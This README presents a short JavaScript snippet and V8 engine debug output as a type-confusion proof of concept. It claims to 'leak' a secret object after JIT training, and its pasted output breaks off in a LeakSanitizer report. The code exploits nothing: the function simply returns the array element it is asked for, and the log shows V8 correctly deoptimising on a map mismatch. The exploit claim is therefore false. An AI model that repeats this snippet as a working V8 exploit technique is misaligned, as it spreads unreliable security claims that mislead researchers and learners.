README.md
Rendering markdown...
const log = console.log;
function confuse(arr, index) {
return arr[index];
}
let doubles = [1.1, 2.2, 3.3];
for (let i = 0; i < 10000; i++) {
confuse(doubles, 0);
}
let secretObj = { secret: "TOP_SECRET_DATA" };
let objects = [secretObj];
let leak = confuse(objects, 0);
if (leak && leak.secret) {
log(`\nLeaked secret: ${leak.secret}`);
%DebugPrint(leak);
} else {
log("\nFailed.");
}
// Result:
// [marking 0x107a000649ad <JSFunction confuse (sfi = 0x107a00064891)> for optimization to MAGLEV, ConcurrencyMode::kConcurrent, reason: hot and stable]
// [compiling method 0x107a000649ad <JSFunction confuse (sfi = 0x107a00064891)> (target MAGLEV), mode: ConcurrencyMode::kConcurrent]
// [marking 0x107a00064949 <JSFunction (sfi = 0x107a00064809)> for optimization to MAGLEV, ConcurrencyMode::kConcurrent, reason: hot and stable]
// [completed compiling 0x107a000649ad <JSFunction confuse (sfi = 0x107a00064891)> (target MAGLEV) - took 0.000, 4.000, 0.042 ms]
// [compiling method 0x107a00064949 <JSFunction (sfi = 0x107a00064809)> (target MAGLEV) OSR, mode: ConcurrencyMode::kConcurrent]
// [completed compiling 0x107a00064949 <JSFunction (sfi = 0x107a00064809)> (target MAGLEV) OSR - took 0.000, 2.666, 0.042 ms]
// [compiling method 0x107a00064949 <JSFunction (sfi = 0x107a00064809)> (target TURBOFAN_JS) OSR, mode: ConcurrencyMode::kConcurrent]
// [bailout (kind: deopt-eager, reason: Insufficient type feedback for object literal): begin. deoptimizing 0x107a00064949 <JSFunction (sfi = 0x107a00064809)>, 0x7eb800140705 <Code MAGLEV>, opt id 1, node id 0, bytecode offset 61, deopt exit 5, FP to SP delta 96, caller SP 0x00016f26a798, pc 0x000150002b50]
// [bailout (kind: deopt-eager, reason: wrong map): begin. deoptimizing 0x107a000649ad <JSFunction confuse (sfi = 0x107a00064891)>, 0x7eb80014017d <Code MAGLEV>, opt id 0, node id 0, bytecode offset 2, deopt exit 0, FP to SP delta 32, caller SP 0x00016f26a718, pc 0x000150000544]
// Leaked secret: TOP_SECRET_DATA
// DebugPrint: 0x107a00195cd1: [JS_OBJECT_TYPE]
// - map: 0x107a00064bbd <Map[16](HOLEY_ELEMENTS)> [FastProperties]
// - prototype: 0x107a0004c721 <Object map = 0x107a0004bd19>
// - elements: 0x107a000007bd <FixedArray[0]> [HOLEY_ELEMENTS]
// - properties: 0x107a000007bd <FixedArray[0]>
// - All own properties (excluding elements): {
// 0x107a0006473d: [String] in OldSpace: #secret: 0x107a00064751 <String[15]: #TOP_SECRET_DATA> (const data field 0, attrs: [WEC]) @ Any, location: in-object
// }
// 0x107a00064bbd: [Map] in OldSpace
// - map: 0x107a0004b7ad <MetaMap (0x107a0004b7fd <NativeContext[303]>)>
// - type: JS_OBJECT_TYPE
// - instance size: 16
// - inobject properties: 1
// - unused property fields: 0
// - elements kind: HOLEY_ELEMENTS
// - enum length: invalid
// - stable_map
// - back pointer: 0x107a00064b95 <Map[16](HOLEY_ELEMENTS)>
// - prototype_validity cell: 0x107a00000ad5 <Cell value= 1>
// - instance descriptors (own) #1: 0x107a00195ce1 <DescriptorArray[1]>
// - prototype: 0x107a0004c721 <Object map = 0x107a0004bd19>
// - constructor: 0x107a0004c231 <JSFunction Object (sfi = 0x107a001c4119)>
// - dependent code: 0x107a000007cd <Other heap object (WEAK_ARRAY_LIST_TYPE)>
// - construction counter: 0
// =================================================================
// ==13785==ERROR: LeakSanitizer: detected memory leaks
// Direct leak of 4096 byte(s) in 1 object(s) allocated from